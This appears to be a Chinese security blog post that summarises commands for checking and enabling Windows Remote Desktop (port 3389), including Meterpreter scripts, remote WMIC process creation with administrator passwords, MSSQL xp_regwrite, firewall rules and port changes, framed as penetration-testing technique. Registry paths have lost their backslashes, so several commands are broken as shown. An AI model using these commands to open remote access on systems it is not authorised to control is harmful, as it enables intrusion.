查询和开启3389端口方式总结
查询3389端口方式总结
在查询3389端口的过程中,我们可以采用以下几种方式:
- 使用REG命令查询3389状态(0:ON、1:OFF)和端口(16进制->10进制)。
- 使用tasklist和netstat命令查询3389端口。
- 使用Meterpreter的netstat命令查询3389端口。
- 使用MSF命令、REG命令、WMIC命令或Windows API开启3389端口。
- 使用MSSQL的xp_regwrite命令开启3389端口。
需要注意的是,有时会遇到特殊情况,如某虚拟主机自建低权限用户运行的IIS,tasklist /svc不显示服务名,注册表查看是0xd3d,但netstat -ano里又没有3389端口。此时,我们可以根据个人经验盲猜可疑端口号。
开启3389端口方式总结
在开启3389端口之前,我们需要在防火墙添加修改远程端口的入站规则,或者暂时关闭防火墙。修改完成后,还需要重启TermService服务。
以下是几种开启3389端口的方式:
- 使用MSF命令开启3389端口。
- 使用REG命令开启3389端口。
- 使用WMIC命令开启3389端口。
- 使用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。
- 使用Windows API开启3389端口。
- 使用MSSQL的xp_regwrite命令开启3389端口。
需要注意的是,开启3389端口时,有时会遇到权限问题或UAC用户账户控制的限制。此时,只允许RID500管理员执行相应操作。
一次开启3389端口失败原因的查找
如果通过计算机右键开启远程桌面或REG、WMIC开启3389端口命令都执行成功,但netstat -ano没有3389端口,tasklist /svc也没有TermService服务,可能是因为对应的C:WindowsSystem32termsrv.dll文件已经不存在了。此时,我们只需要将原来备份的termsrv.dll或找到对应版本操作系统的termsrv.dll拷贝到C:WindowsSystem32目录下,启动TermService服务,重新开启3389远程桌面即可解决问题。
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,请联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。这篇文章在去年的时候有发过,不过后边又做了一点补充,所以再重新发一遍。
reg query "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v fEnableWinStation reg add "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v fEnableWinStation /t REG_DWORD /d 1 /f
REG query "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections
REG query "HKLMSYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp" /v PortNumber REG query "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber set /a Port=0xd3d
tasklist /svc | findstr "TermService" netstat -ano | findstr "2972"
netsh advfirewall firewall add rule name="Remote Desktop" protocol=tcp dir=in localport=3389 action=allow
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp" /v PortNumber /t REG_DWORD /d 9527 /f net stop TermService /y net start TermService
meterpreter > run getgui -e
[
] Meterpreter scripts are deprecated. Try post/windows/manage/enable_rdp.[value [...]
] Example: run post/windows/manage/enable_rdp OPTION=[by Darkoperator
] Windows Remote Desktop Configuration Meterpreter Script[
] Carlos Perez carlos_perez@darkoperator.com[ ] Enabling Remote Desktop
[ ]
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。
wmic /node:192.168.0.103 /user:administrator /password:betasec PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
wmic /node:192.168.0.116 /user:administrator /password:betasec!@#123 RDTOGGLE WHERE ServerName='WIN-TO2CN3V2VPR' call SetAllowTSConnections 1 wmic /node:192.168.0.116 /user:administrator /password:betasec!@#123 process call create 'cmd.exe /c REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
1、查询3389开启状态
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server' ,'fDenyTSConnections'
2、查询3389远程桌面端口
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp','PortNumber'
3、开启3389远程桌面端口(0:ON、1:OFF)exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;